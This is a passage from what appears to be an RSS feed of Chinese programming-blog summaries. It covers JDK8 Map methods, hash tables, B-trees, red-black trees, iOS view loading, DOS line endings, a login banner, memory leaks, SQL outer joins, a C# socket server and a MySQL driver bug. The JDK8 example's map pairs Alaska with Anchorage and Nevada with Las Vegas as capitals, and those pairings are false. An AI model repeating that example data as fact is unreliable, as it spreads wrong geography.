      <description>本文由 ImportNew - kingviker 翻译自 javacodegeeks。欢迎加入Java小组。转载请参见文章末尾的要求。 JDK8中那些新增的便利的Map默认值方法 转载请注明出处：http://blog.csdn.net/kingviker/article/details/26221227&#xA;在JDK8中Map接口提供了一些新的便利的方法。因为在本文中我所提到的所有Map方法都是以默认值方法的方式实现的，所以现有的Map接口的实现可以直接拥有这些在默认值方法中定义的默认行为，而不需要新增一行代码。本文涵盖的JDK8中引进的Map方法有：getOrDefault(Object,V)，putIfAbsent(K,V),remove(Object,Object)，replace(K,V)，and replace(K,V,V）。&#xA;Map范例 我将使用如下代码所示的Map声明和初始化来贯穿整篇博文中的示例。字段stateAndCapitals是类级别的静态字段。为了阅读清晰和更简单的示范一些JDK8中新的Map默认值方法，我有意的让stateAndCapitals字段只包含了美国50个洲的一个小子集。&#xA;private final static Map statesAndCapitals; static { statesAndCapitals = new HashMap&amp;lt;&amp;gt;(); statesAndCapitals.put(&#34;Alaska&#34;, &#34;Anchorage&#34;); statesAndCapitals.put(&#34;California&#34;, &#34;Sacramento&#34;); statesAndCapitals.put(&#34;Colorado&#34;, &#34;Denver&#34;); statesAndCapitals.put(&#34;Florida&#34;, &#34;Tallahassee&#34;); statesAndCapitals.put(&#34;Nevada&#34;, &#34;Las Vegas&#34;); statesAndCapitals.put(&#34;New Mexico&#34;, &#34;Sante Fe&#34;); statesAndCapitals.put(&#34;Utah&#34;, &#34;Salt Lake City&#34;); statesAndCapitals.put(&#34;Wyoming&#34;, &#34;Cheyenne&#34;); } Map.getOrDefault(Object, V) Map的新方法getOrDefault(Object,V)允许调用者在代码语句中规定获得在map中符合提供的键的值，否则在没有找到提供的键的匹配项的时候返回一个“默认值”。&#xA;下一段代码列举对比了如何在JDK8之前检查一个map中匹配提供键的值是否找到，没找到匹配项就使用一个默认值是如何实现的，并且现在在JDK8中是如何实现的。&#xA;/* * 示范Map.getOrDefault方法并和JDK8之前的实现方法做对比。JDK8 * 中新增的Map.getOrDefault方法相比于传统的实现方法，所用的代码行数更少 * 并且允许用一个final类型的变量来接收返回值。 */ // JDK8之前的实现方法 String capitalGeorgia = statesAndCapitals.get(&#34;Georgia&#34;); if (capitalGeorgia == null) { capitalGeorgia = &#34;</description>
    </item>
    <item>
      <title>查找（二）简单清晰的B树、Trie树详解</title>
      <link>https://bchobby.github.io/posts/5a7b968e2e8acb45b7409ff72548e0de/</link>
      <pubDate>Sun, 18 May 2014 00:05:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a7b968e2e8acb45b7409ff72548e0de/</guid>
      <description>查找（二）&#xA;散列表 散列表是普通数组概念的推广。由于对普通数组可以直接寻址，使得能在O(1)时间内访问数组中的任意位置。在散列表中，不是直接把关键字作为数组的下标，而是根据关键字计算出相应的下标。&#xA;使用散列的查找算法分为两步。第一步是用散列函数将被查找的键转化为数组的一个索引。&#xA;我们需要面对两个或多个键都会散列到相同的索引值的情况。因此，第二步就是一个处理碰撞冲突的过程，由两种经典解决碰撞的方法：拉链法和线性探测法。&#xA;散列表是算法在时间和空间上作出权衡的经典例子。&#xA;如果没有内存限制，我们可以直接将键作为（可能是一个超大的）数组的索引，那么所有查找操作只需要访问内存一次即可完成。但这种情况不会经常出现，因此当键很多时需要的内存太大。&#xA;另一方面，如果没有时间限制，我们可以使用无序数组并进行顺序查找，这样就只需要很少的内存。而散列表则使用了适度的空间和时间并在这两个极端之间找到了一种平衡。&#xA;●散列函数&#xA;我们面对的第一个问题就是散列函数的计算，这个过程会将键转化为数组的索引。我们要找的散列函数应该易于计算并且能够均匀分布所有的键。&#xA;散列函数和键的类型有关，对于每种类型的键我们都需要一个与之对应的散列函数。&#xA;正整数&#xA;将整数散列最常用的方法就是除留余数法。我们选择大小为素数M的数组，对于任意正整数k，计算k除以M的余数。（如果M不是素数，我们可能无法利用键中包含的所有信息，这可能导致我们无法均匀地散列值。）&#xA;浮点数&#xA;将键表示为二进制数，然后再使用除留余数法。（让浮点数的各个位都起作用）（Java就是这么做的）&#xA;字符串&#xA;除留余数法也可以处理较长的键，例如字符串，我们只需将它们当做大整数即可。即相当于将字符串当做一个N位的R进制值，将它除以M并取余。&#xA;·····软缓存&#xA;如果散列值的计算很耗时，那么我们或许可以将每个键的散列值缓存起来，即在每个键中使用一个hash变量来保存它的hashCode()返回值。&#xA;●基于拉链法的散列表&#xA;一个散列函数能够将键转化为数组索引。散列算法的第二步是碰撞处理，也就是处理两个或多个键的散列值相同的情况。&#xA;拉链法：将大小为M的数组中的每个元素指向一条链表，链表中的每个结点都存储了散列值为该元素的索引的键值对。&#xA;查找分两步：首先根据散列值找到对应的链表，然后沿着链表顺序查找相应的键。&#xA;拉链法在实际情况中很有用，因为每条链表确实都大约含有N/M个键值对。&#xA;基于拉链法的散列表的实现简单。在键的顺序并不重要的应用中，它可能是最快的（也是使用最广泛的）符号表实现。&#xA;●基于线性探测法的散列表&#xA;实现散列表的另一种方式就是用大小为M的数组保存N个键值对，其中M&amp;gt;N。我们需要依靠数组中的空位解决碰撞冲突。基于这种策略的所有方法被统称为开放地址散列表。&#xA;开放地址散列表中最简单的方法叫做线性探测法：当碰撞发生时，我们直接检查散列表中的下一个位置（将索引值加1），如果不同则继续查找，直到找到该键或遇到一个空元素。&#xA;（开放地址类的散列表的核心思想是：与其将内存用作链表，不如将它们作为在散列表的空元素。这些空元素可以作为查找结束的标志。）&#xA;特点：散列最主要的目的在于均匀地将键散布开来，因此在计算散列后键的顺序信息就丢失了，如果你需要快速找到最大或最小的键，或是查找某个范围内的键，散列表都不是合适的选择。&#xA;【应用举例】&#xA;海量处理&#xA;给定a、b两个文件，各存放50亿个url，每个url各占64字节，内存限制是4G，让你找出a、b文件共同的url？&#xA;答：&#xA;可以估计每个文件安的大小为5G×64=320G，远远大于内存限制的4G。所以不可能将其完全加载到内存中处理。考虑采取分而治之的方法。&#xA;分而治之/hash映射：&#xA;遍历文件a，对每个url求取，然后根据所取得的值将url分别存储到1000个小文件（记为，这里漏写个了a1）中。这样每个小文件的大约为300M。遍历文件b，采取和a相同的方式将url分别存储到1000小文件中（记为）。这样处理后，所有可能相同的url都在对应的小文件（）中，不对应的小文件不可能有相同的url。然后我们只要求出1000对小文件中相同的url即可。&#xA;hash_set统计：&#xA;求每对小文件中相同的url时，可以把其中一个小文件的url存储到hash_set中。然后遍历另一个小文件的每个url，看其是否在刚才构建的hash_set中，如果是，那么就是共同的url，存到文件里面就可以了。&#xA;（此题来源于v_July_v的博客）&#xA;B树（多向平衡查找树） B-树是对2-3树数据结构的扩展。它支持对保存在磁盘或者网络上的符号表进行外部查找，这些文件可能比我们以前考虑的输入要大的多（以前的输入能够保存在内存中）。&#xA;（B树和B+树是实现数据库的数据结构，一般程序员用不到它。）&#xA;和2-3树一样，我们限制了每个结点中能够含有的“键-链接”对的上下数量界限：一个M阶的B-树，每个结点最多含有M-1对键-链接（假设M足够小，使得每个M向结点都能够存放在一个页中），最少含有M/2对键-链接，但也不能少于2对。&#xA;(B树是用于存储海量数据的，一般其一个结点就占用磁盘一个块的大小。)&#xA;【注】以下B树部分参考自July的博客，尤其是插入及删除示图，为了省力直接Copy自July。&#xA;B树中的结点存放的是键-值对。图中红色方块即为键对应值的指针。&#xA;B树中的每个结点根据实际情况可以包含大量的关键字信息和分支(当然是不能超过磁盘块的大小，根据磁盘驱动(diskdrives)的不同，一般块的大小在1k~4k左右)；这样树的深度降低了，这就意味着查找一个元素只要很少结点从外存磁盘中读入内存，很快访问到要查找的数据。&#xA;查找&#xA;假如每个盘块可以正好存放一个B树的结点（正好存放2个文件名）。那么一个BTNODE结点就代表一个盘块，而子树指针就是存放另外一个盘块的地址。&#xA;下面，咱们来模拟下查找文件29的过程：&#xA;1. 根据根结点指针找到文件目录的根磁盘块1，将其中的信息导入内存。【磁盘IO操作1次】 2. 此时内存中有两个文件名17、35和三个存储其他磁盘页面地址的数据。根据算法我们发现：17&amp;lt;29&amp;lt;35，因此我们找到指针p2。&#xA;3. 根据p2指针，我们定位到磁盘块3，并将其中的信息导入内存。【磁盘IO操作 2次】 4. 此时内存中有两个文件名26，30和三个存储其他磁盘页面地址的数据。根据算法我们发现：26&amp;lt;29&amp;lt;30，因此我们找到指针p2。&#xA;5. 根据p2指针，我们定位到磁盘块8，并将其中的信息导入内存。【磁盘IO操作 3次】 6. 此时内存中有两个文件名28，29。根据算法我们查找到文件名29，并定位了该文件内存的磁盘地址。分析上面的过程，发现需要3 3次磁盘IO操作和次磁盘IO操作和3次内存查找 次内存查找操作。关于内存中的文件名查找，由于是一个有序表结构，可以利用折半查找提高效率。至于IO操作是影响整个B树查找效率的决定因素。&#xA;插入&#xA;想想2-3树的插入。2-3树结点的最大容量是2个元素，故当插入操作造成超出容量之后，就得分裂。同样m-阶B树规定的结点的最大容量是m-1个元素，故当插入操作造成超出容量之后也得分裂，其分裂成两个结点每个结点分m/2个元素。（副作用是在其父结点中要插入一个中间元素，用于分隔这两结点。和2-3树一样，再向父结点插入一个元素也可能会造成父结点的分裂，逐级向上操作，直到不再造成分裂为止。）</description>
    </item>
    <item>
      <title>查找（一）史上最简单清晰的红黑树讲解</title>
      <link>https://bchobby.github.io/posts/35bb452746e77b5c4607e911b974efa0/</link>
      <pubDate>Sun, 18 May 2014 00:05:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/35bb452746e77b5c4607e911b974efa0/</guid>
      <description>查找（一） 我们使用符号表这个词来描述一张抽象的表格，我们会将信息（值）存储在其中，然后按照指定的键来搜索并获取这些信息。键和值的具体意义取决于不同的应用。&#xA;符号表中可能会保存很多键和很多信息，因此实现一张高效的符号表也是一项很有挑战性的任务。&#xA;我们会用三种经典的数据类型来实现高效的符号表：二叉查找数、红黑树、散列表。&#xA;二分查找 我们使用有序数组存储键，经典的二分查找能够根据数组的索引大大减少每次查找所需的比较次数。&#xA;在查找时，我们先将被查找的键和子数组的中间键比较。如果被查找的键小于中间键，我们就在左子数组中继续查找，如果大于我们就在右子数组中继续查找，否则中间键就是我们要找的键。&#xA;一般情况下二分查找都比顺序查找快的多，它也是众多实际应用程序的最佳选择。对于一个静态表（不允许插入）来说，将其在初始化时就排序是值得的。&#xA;当然，二分查找也不适合很多应用。现代应用需要同时能够支持高效的查找和插入两种操作的符号表实现。也就是说，我们需要在构造庞大的符号表的同时能够任意插入（也许还有删除）键值对，同时也要能够完成查找操作。&#xA;要支持高效的插入操作，我们似乎需要一种链式结构。当单链接的链表是无法使用二分查找的，因为二分查找的高效来自于能够快速通过索引取得任何子数组的中间元素。为了将二分查找的效率和链表的灵活性结合起来，我们需要更加复杂的数据结构。&#xA;能够同时拥有两者的就是二叉查找树。&#xA;二叉查找树 一颗二叉查找树（BST）是一颗二叉树，其中每个节点都含有一个可比较的键（以及相关联的值）且每个结点的键都大于其左子树中的任意结点的键而小于右子树的任意结点的键。&#xA;一颗二叉查找树代表了一组键（及其相应的值）的集合，而同一个集合可以用多颗不同的二叉查找树表示。&#xA;如果我们将一颗二叉查找树的所有键投影到一条直线上，保证一个结点的左子树中的键出现在它的右边，右子树中的键出现在它的右边，那么我们一定可以得到一条有序的键列。&#xA;查找&#xA;在二叉查找树中查找一个键的递归算法：&#xA;如果树是空的，则查找未命中。如果被查找的键和根结点的键相等，查找命中。否则我们就在适当的子树中继续查找。如果被查找的键较小就选择左子树，较大就选择右子树。&#xA;在二叉查找树中，随着我们不断向下查找，当前结点所表示的子树的大小也在减小（理想情况下是减半）&#xA;插入&#xA;查找代码几乎和二分查找的一样简单，这种简洁性是二叉查找树的重要特性之一。而二叉查找树的另一个更重要的特性就是插入的实现难度和查找差不多。&#xA;当查找一个不存在于树中的结点并结束于一条空链接时，我们需要做的就是将链接指向一个含有被查找的键的新结点。如果被查找的键小于根结点的键，我们会继续在左子树中插入该键，否则在右子树中插入该键。&#xA;分析&#xA;使用二叉查找树的算法的运行时间取决于树的形状，而树的形状又取决于键被插入的先后顺序。&#xA;在最好的情况下，一颗含有N个结点的树是完全平衡的，每条空链接和根结点的距离都为~lgN。在最坏的情况下，搜索路径上可能有N个结点。但在一般情况下树的形状和最好情况更接近。&#xA;我们假设键的插入顺序是随机的。对这个模型的分析而言，二叉查找树和快速排序几乎就是“双胞胎”。树的根结点就是快速排序中的第一个切分元素（左侧的键都比它小，右侧的键都比它大），而这对于所有的子树同样适用，这和快速排序中对于子数组的递归排序完全对应。&#xA;【在由N个随机键构造的二叉查找树中，查找命中平均所需的比较次数为~2lgN。 N越大这个公式越准确】&#xA;平衡查找树 在一颗含有N个结点的树中，我们希望树高为~lgN，这样我们就能保证所有查找都能在~lgN此比较内结束，就和二分查找一样。不幸的是，在动态插入中保证树的完美平衡的代价太高了。我们放松对完美平衡的要求，使符号表API中所有操作均能够在对数时间内完成。&#xA;2-3查找树 为了保证查找树的平衡性，我们需要一些灵活性，因此在这里我们允许树中的一个结点保存多个键。&#xA;2-结点：含有一个键(及值)和两条链接，左链接指向的2-3树中的键都小于该结点，右链接指向的2-3树中的键都大于该结点。&#xA;3-结点：含有两个键(及值)和三条链接，左链接指向的2-3树中的键都小于该结点，中链接指向的2-3树中的键都位于该结点的两个键之间，右链接指向的2-3树中的键都大于该结点。&#xA;（2-3指的是2叉-3叉的意思）&#xA;一颗完美平衡的2-3查找树中的所有空链接到根结点的距离都是相同的。&#xA;查找&#xA;要判断一个键是否在树中，我们先将它和根结点中的键比较。如果它和其中的任何一个相等，查找命中。否则我们就根据比较的结果找到指向相应区间的链接，并在其指向的子树中递归地继续查找。如果这是个空链接，查找未命中。&#xA;插入&#xA;要在2-3树中插入一个新结点，我们可以和二叉查找树一样先进行一次未命中的查找，然后把新结点挂在树的底部。但这样的话树无法保持完美平衡性。我们使用2-3树的主要原因就在于它能够在插入之后继续保持平衡。&#xA;如果未命中的查找结束于一个2-结点，我们只要把这个2-结点替换为一个3-结点，将要插入的键保存在其中即可。如果未命中的查找结束于一个3-结点，事情就要麻烦一些。&#xA;热身：&#xA;先考虑最简单的例子：只有一个3-结点的树，向其插入一个新键。&#xA;这棵树唯一的结点中已经没有可插入的空间了。我们又不能把新键插在其空结点上（破坏了完美平衡）。为了将新键插入，我们先临时将新键存入该结点中，使之成为一个4-结点。创建一个4-结点很方便，因为很容易将它转换为一颗由3个2-结点组成的2-3树（如图所示），这棵树既是一颗含有3个结点的二叉查找树，同时也是一颗完美平衡的2-3树，其中所有空链接到根结点的距离都相等。&#xA;向一个父结点为2-结点的3-结点中插入新键&#xA;假设未命中的查找结束于一个3-结点，而它的父结点是一个2-结点。在这种情况下我们需要在维持树的完美平衡的前提下为新键腾出空间。&#xA;我们先像刚才一样构造一个临时的4-结点并将其分解，但此时我们不会为中键创建一个新结点，而是将其移动至原来的父结点中。（如图所示）&#xA;这次转换也并不影响（完美平衡的）2-3树的主要性质。树仍然是有序的，因为中键被移动到父结点中去了，树仍然是完美平衡的，插入后所有的空链接到根结点的距离仍然相同。&#xA;向一个父结点为3-结点的3-结点中插入新键&#xA;假设未命中的查找结束于一个3-结点，而它的父结点是一个3-结点。&#xA;我们再次和刚才一样构造一个临时的4-结点并分解它，然后将它的中键插入它的父结点中。但父结点也是一个3-结点，因此我们再用这个中键构造一个新的临时4-结点，然后在这个结点上进行相同的变换，即分解这个父结点并将它的中键插入到它的父结点中去。&#xA;我们就这样一直向上不断分解临时的4-结点并将中键插入更高的父结点，直至遇到一个2-结点并将它替换为一个不需要继续分解的3-结点，或者是到达3-结点的根。&#xA;总结：&#xA;先找插入结点，若结点有空(即2-结点)，则直接插入。如结点没空(即3-结点)，则插入使其临时容纳这个元素，然后分裂此结点，把中间元素移到其父结点中。对父结点亦如此处理。（中键一直往上移，直到找到空位，在此过程中没有空位就先搞个临时的，再分裂。）&#xA;★2-3树插入算法的根本在于这些变换都是局部的：除了相关的结点和链接之外不必修改或者检查树的其他部分。每次变换中，变更的链接数量不会超过一个很小的常数。所有局部变换都不会影响整棵树的有序性和平衡性。&#xA;{你确定理解了2-3树的插入过程了吗？ 如果你理解了，那么你也就基本理解了红黑树的插入}&#xA;构造&#xA;和标准的二叉查找树由上向下生长不同，2-3树的生长是由下向上的。&#xA;优点&#xA;2-3树在最坏情况下仍有较好的性能。每个操作中处理每个结点的时间都不会超过一个很小的常数，且这两个操作都只会访问一条路径上的结点，所以任何查找或者插入的成本都肯定不会超过对数级别。&#xA;完美平衡的2-3树要平展的多。例如，含有10亿个结点的一颗2-3树的高度仅在19到30之间。我们最多只需要访问30个结点就能在10亿个键中进行任意查找和插入操作。&#xA;缺点&#xA;我们需要维护两种不同类型的结点，查找和插入操作的实现需要大量的代码，而且它们所产生的额外开销可能会使算法比标准的二叉查找树更慢。&#xA;平衡一棵树的初衷是为了消除最坏情况，但我们希望这种保障所需的代码能够越少越好。&#xA;红黑二叉查找树 【前言：本文所讨论的红黑树之目的在于使读者能更简单清晰地了解红黑树的构造，使读者能在纸上清晰快速地画出红黑树，而不是为了写出红黑树的实现代码。&#xA;若是要在代码级理解红黑树，则势必需要记住其复杂的插入和旋转的各种情况，我认为那只有助于增加大家对红黑树的恐惧，实际面试和工作中几乎不会遇到需要自己动手实现红黑树的情况(很多语言的标准库中就有红黑树的实现)。 若对于红黑树的C代码实现有兴趣的，可移步至July的博客。】</description>
    </item>
    <item>
      <title>网上总结 loadView 和 viewDidLoad</title>
      <link>https://bchobby.github.io/posts/5fa00252b3e7b1875f8ca6feae7120f8/</link>
      <pubDate>Tue, 29 Apr 2014 19:55:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fa00252b3e7b1875f8ca6feae7120f8/</guid>
      <description>iPhone开发必不可少的要用到这两个方法。**他们都可以用来在视图载入的时候，初始化一些内容**。**但是他们有什么区别呢？** viewDidLoad 此方法只有当view从nib文件初始化的时候才被调用。**viewDidLoad用于初始化，加载时用到的。** loadView 此方法在控制器的view为nil的时候被调用。 此方法用于以编程的方式创建view的时候用到。**loadView是使用代码生成视图的时候，当视图第一次载入的时候调用的方法。用于使用（写）代码来实现控件。用于使用代码生成控件的函数。**如： - ( void ) loadView { UIView view = [ [ UIView alloc] initWithFrame:[ UIScreen mainScreen] .applicationFrame] ; [ view setBackgroundColor:_color] ; self.view = view; [ view release] ; } 你在控制器中实现了loadView方法，那么你可能会在应用运行的某个时候被内存管理控制调用。 *如果设备内存不足的时候， view 控制器会收到didReceiveMemoryWarning的消息。** 默认的实现是检查当前控制器的view是否在使用。如果它的view不在当前正在使用的view hierarchy里面，且你的控制器实现了loadView方法，**那么这个view将被release, loadView方法将被再次调用来创建一个新的view。 ----------------------------------------------------------------------------------------------------------------------**&#xA;viewDidLoad ,不论是从xib中加载视图，还是从loadview生成视图，都会被调用。&#xA;UIViewController 的内存管理 在 iOS3.0 后，UIViewController 多了一个叫做 viewDidUnLoad 的方法。 先看下 UIViewController 从创建 view 到展示的流程的几个函数 -init -initWithNibName:bundle: 这两个方法都是初始化一个 vc，但请注意 view 不是这时候载入的 -loadView -viewDidLoad 当一个视图准备展现时，vc 首先会判断 view 是否已经创建否则便通过之前指定的 xib 文件来初始化 view，以及绑定其他关系(若没有指定 xib 文件，则默认会搜索和 vc 同名的 xib，比如 myNameViewController 就会搜索 myNameViewController.</description>
    </item>
    <item>
      <title>No such file or directory（没有那个文件或目录）的小问题</title>
      <link>https://bchobby.github.io/posts/27917d25cb86564e2e03ecffd90981ac/</link>
      <pubDate>Wed, 23 Apr 2014 22:51:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27917d25cb86564e2e03ecffd90981ac/</guid>
      <description> 昨天升级一个服务，发现没有现成的启动脚本。 就随手写了一个，一运行发现不行。 竟然报错说找不到文件， No such file or directory 【nohup: cannot run command `test.sh&#39;: No such file or directory】 怪了，文件明明在那儿，相对路径，绝对路径都试过了，却一直报这个。 test.sh里面调用了run.bin文件，在同一目录下面啊，怎么可能找不到呢？ 干脆直接运行run.bin ，这回报错如下： 【bad interpreter:No such file or directory】 还是说找不到文件，仔细想了下难道是权限？，chmod到777，用root执行，还是报错。 排除了权限问题，仔细想想问题出在哪儿了？ 哦！这个文件实在我的本上写的然后传到linux主机上的，难道是编码问题？ google了一下，果然如此。 分析和解决办法 ： 因为操作系统是windows，在windows下编辑的脚本，所以有可能有不可见字符。从你的脚本及报告的错误看来, 很有可能是你的脚本文件是DOS格式的, 即每一行的行尾以\r\n来标识, 其ASCII码分别是0x0D, 0x0A.&#xA;可以有很多种办法看这个文件是DOS格式的还是UNIX格式的, 还是MAC格式的 （1）. vi filename 然后用命令 :set ff? 可以看到dos或unix的字样. 如果的确是dos格式的, 那么你可以用set ff=unix把它强制为unix格式的, 然后存盘退出. 再运行一遍看.ok了。 希望遇到类似问题的同学能够如此解决。 </description>
    </item>
    <item>
      <title>Authorized users only. All activity may be monitored and reported.</title>
      <link>https://bchobby.github.io/posts/cfcb122ba2f1897ff27032a05845a767/</link>
      <pubDate>Tue, 22 Apr 2014 22:03:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfcb122ba2f1897ff27032a05845a767/</guid>
      <description>Authorized users only. All activity may be monitored and reported.&#xA;Directory: /home/oracle&#xA;如出现如上问题，是由于系统做了安全加固，要求为：&#xA;用户通过网络或者本地成功登录系统后，显示一些警告信息。&#xA;修改的方法是：&#xA;修改文件/etc/motd的内容，如没有该文件，则创建它。&#xA;#echo &#34;Authorized users only. All activity may be monitored and reported &#34; &amp;gt; /etc/motd 可根据实际需要修改该文件的内容。&#xA;验证方法：&#xA;1.使用telnet或者SSH登录该服务器&#xA;2.预期结果：登录成功后显示文件/etc/motd中的内容&#xA;﻿﻿ 转载于:https://www.cnblogs.com/Rainbow-G/p/4080056.html</description>
    </item>
    <item>
      <title>内存溢出与内存泄露的区别</title>
      <link>https://bchobby.github.io/posts/596697317b3a8a42c586a7c76b3839a3/</link>
      <pubDate>Mon, 21 Apr 2014 19:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/596697317b3a8a42c586a7c76b3839a3/</guid>
      <description>内存溢出 out of memory，是指程序在申请内存时，没有足够的内存空间供其使用，出现out of memory；比如申请了一个integer,但给它存了long才能存下的数，那就是内存溢出。&#xA;内存泄露 memory leak，是指程序在申请内存后，无法释放已申请的内存空间，一次内存泄露危害可以忽略，但内存泄露堆积后果很严重，无论多少内存,迟早会被占光。&#xA;memory leak会最终会导致out of memory！&#xA;内存溢出就是你要求分配的内存超出了系统能给你的，系统不能满足需求，于是产生溢出。 内存泄漏是指你向系统申请分配内存进行使用(new)，可是使用完了以后却不归还(delete)，结果你申请到的那块内存你自己也不能再访问（也许你把它的地址给弄丢了），而系统也不能再次将它分配给需要的程序。一个盘子用尽各种方法只能装4个果子，你装了5个，结果掉倒地上不能吃了。这就是溢出！比方说栈，栈满时再做进栈必定产生空间溢出，叫上溢，栈空时再做退栈也产生空间溢出，称为下溢。就是分配的内存不足以放下数据项序列,称为内存溢出. 以发生的方式来分类，内存泄漏可以分为4类： 1. 常发性内存泄漏。发生内存泄漏的代码会被多次执行到，每次被执行的时候都会导致一块内存泄漏。 2. 偶发性内存泄漏。发生内存泄漏的代码只有在某些特定环境或操作过程下才会发生。常发性和偶发性是相对的。对于特定的环境，偶发性的也许就变成了常发性的。所以测试环境和测试方法对检测内存泄漏至关重要。 3. 一次性内存泄漏。发生内存泄漏的代码只会被执行一次，或者由于算法上的缺陷，导致总会有一块仅且一块内存发生泄漏。比如，在类的构造函数中分配内存，在析构函数中却没有释放该内存，所以内存泄漏只会发生一次。 4. 隐式内存泄漏。程序在运行过程中不停的分配内存，但是直到结束的时候才释放内存。严格的说这里并没有发生内存泄漏，因为最终程序释放了所有申请的内存。但是对于一个服务器程序，需要运行几天，几周甚至几个月，不及时释放内存也可能导致最终耗尽系统的所有内存。所以，我们称这类内存泄漏为隐式内存泄漏。 从用户使用程序的角度来看，内存泄漏本身不会产生什么危害，作为一般的用户，根本感觉不到内存泄漏的存在。真正有危害的是内存泄漏的堆积，这会最终消耗尽系统所有的内存。从这个角度来说，一次性内存泄漏并没有什么危害，因为它不会堆积，而隐式内存泄漏危害性则非常大，因为较之于常发性和偶发性内存泄漏它更难被检测到 转载于:https://www.cnblogs.com/fatfatdachao/p/3679037.html</description>
    </item>
    <item>
      <title>外连接（OUTER JOIN）</title>
      <link>https://bchobby.github.io/posts/3d5098b729fcb412d00217ba7625df7e/</link>
      <pubDate>Mon, 21 Apr 2014 15:25:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3d5098b729fcb412d00217ba7625df7e/</guid>
      <description>9.3.4 外连接（OUTER JOIN） 不管是内连接还是带WHERE子句的多表查询，都组合自多个表，并生成结果表。换句话说，如果任何一个源表中的行在另一个源表中没有匹配，DBMS将不把该行放在最后的结果表中。 而外连接告诉ODBC生成的结果表，不仅包含符合连接条件的行，而且还包括左表（左外连接时）、右表（右外连接时）或两个边接表（全外连接）中的所有数据行。 SQL的外连接共有3种类型：左外连接，关键字为LEFT OUTER JOIN、右外连接，关键字为RIGHT OUTER JOIN和全外连接，关键字为FULL OUTER JOIN。外连接的用法和内连接一样，只是将INNER JOIN关键字替换为相应的外连接关键字即可。&#xA;说明 使用外连接时，关键字OUTER是可选的，如可用LEFT JOIN替代LEFT OUTER JOIN。&#xA;下面分别介绍一下这几种外连接方式。 1．左外连接 左外连接，LEFT OUTER JOIN，告诉DBMS生成的结果表中，除了包括匹配行外，还包括JOIN关键字（FROM子句中）左边表的不匹配行。左外连接实际上可以表示为： 左外连接 = 内连接 + 左边表中失配的元组 其中，缺少的右边表中的属性值用NULL表示。图9.17给出了典型的左外连接示意图。&#xA;图9.17 左外连接 实例11 左连接STUDENT表和COURSE表 左连接STUDENT表和COURSE表，查询所有同学的学号、姓名、课程代码、课程名称、考试时间和成绩信息。实例代码：&#xA;SELECT S.SNO, SNAME, S.CNO, CNAME, CTEST, MARKFROM STUDENT AS SLEFT OUTER JOIN COURSE AS CON S. CNO = C. CNOORDER BY SNAME 运行结果如图9.18所示。 可见，最终得到的结果表中，除了包括两个表匹配的行（3～20行），还包括了左边表STUDENT中的不匹配行（1、2行），缺少的右边表，即COURSE表中的属性值用NULL表示。&#xA;技巧 在SQL Server中，可以在WHERE子句中使用“*=”符号实现左外连接。&#xA;图9.18 左连接STUDENT表和COURSE表的查询结果 在WHERE子句，使用“*=”符号实现左外连接实现上例，代码如下。&#xA;SELECT S.SNO, SNAME, S.CNO, CNAME, CTEST, MARKFROM STUDENT AS S, COURSE AS CWHERE S.</description>
    </item>
    <item>
      <title>Unity3d 多线程、多并发网络解决方案(C#)</title>
      <link>https://bchobby.github.io/posts/3cca6575269d8bf9e4e4b8570e6a61d9/</link>
      <pubDate>Sun, 20 Apr 2014 13:35:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cca6575269d8bf9e4e4b8570e6a61d9/</guid>
      <description>此方案和结构在多线程多并发大吞吐下有绝对的效率优势 以下是服务端 vs2012 C#&#xA;using System; using System.IO; using System.ComponentModel; using System.Collections; using System.Collections.Generic; using System.Diagnostics; using System.Net; using System.Net.Sockets; using System.Threading; using Tools; using GameDates; namespace TestServer { /// &amp;lt;summary&amp;gt; /// MyTcpIpClient 提供在Net TCP_IP 协议上基于消息的服务端 /// &amp;lt;/summary&amp;gt; public class MyTcpIpServer : System.ComponentModel.Component { private int bufferSize=2048; private string tcpIpServerIP=&#34;127.0.0.1&#34;; private int tcpIpServerPort=11000; private Socket listener=null; private ManualResetEvent allDone = new ManualResetEvent(false); private ManualResetEvent sendDone = new ManualResetEvent(false); private Thread thread=null; public static List&amp;lt;StateObject&amp;gt; StateList = new List&amp;lt;StateObject&amp;gt;(); private void StartListening() { try { listener = new Socket(AddressFamily.</description>
    </item>
    <item>
      <title>java.sql.SQLException: Unknown type &#39;246 in column 4 of 11 in binary-encoded result set.</title>
      <link>https://bchobby.github.io/posts/08f3b46600fffb865f883e41120c1cdd/</link>
      <pubDate>Tue, 15 Apr 2014 17:24:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08f3b46600fffb865f883e41120c1cdd/</guid>
      <description>当Mysql 5.0表数据类型设计为DECIMAL时，在spring,hibernate项目运行会出现246错误: Unknown type &#39;246 in column 4 of 11 in binary-encoded result set.; nested exception is java.sql.SQLException: Unknown type &#39;246 in column 4 of 11 in binary-encoded result set. 刚开始还以为是程序有问题，后来才知道MYSQL5在decimal 类型有BUG，解决方法是更改数据类型。&#xA;java.sql.SQLException: Unknown type &#39;246 in column 0 of 1 in binary-encoded result set这个异常容易出现在对Bigint字段的操作上。使用的mysql-connector-java-3.1.7-bin.jar，是属于mysql的一个bug。&#xA;解决办法：使用mysql-connector-java-3.0.17-bin.jar就没有问题了，而且目前好象只有这个版本无此bug。&#xA;另外：在mysql-connector-java-3.1.7-bin.jar下&#xA;session.createSQLQuery(&#34;select sum(bigintField) from tableName&#34;).uniqueResult() 返回BigInteger&#xA;类型的对象。&#xA;在mysql-connector-java-3.0.17-bin.jar下&#xA;session.createSQLQuery(&#34;select sum(bigintField) from tableName&#34;).uniqueResult() 返回String&#xA;类型的对象。&#xA;转载于:https://www.cnblogs.com/means-sisy/p/3666735.html</description>
    </item>
    <item>
      <title>处理器体系结构（了解CPU的基本运行原理）——《深入理解计算机系统》</title>
      <link>https://bchobby.github.io/posts/c5706d51751afacdf1df03d070681834/</link>
      <pubDate>Sun, 30 Mar 2014 00:02:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5706d51751afacdf1df03d070681834/</guid>
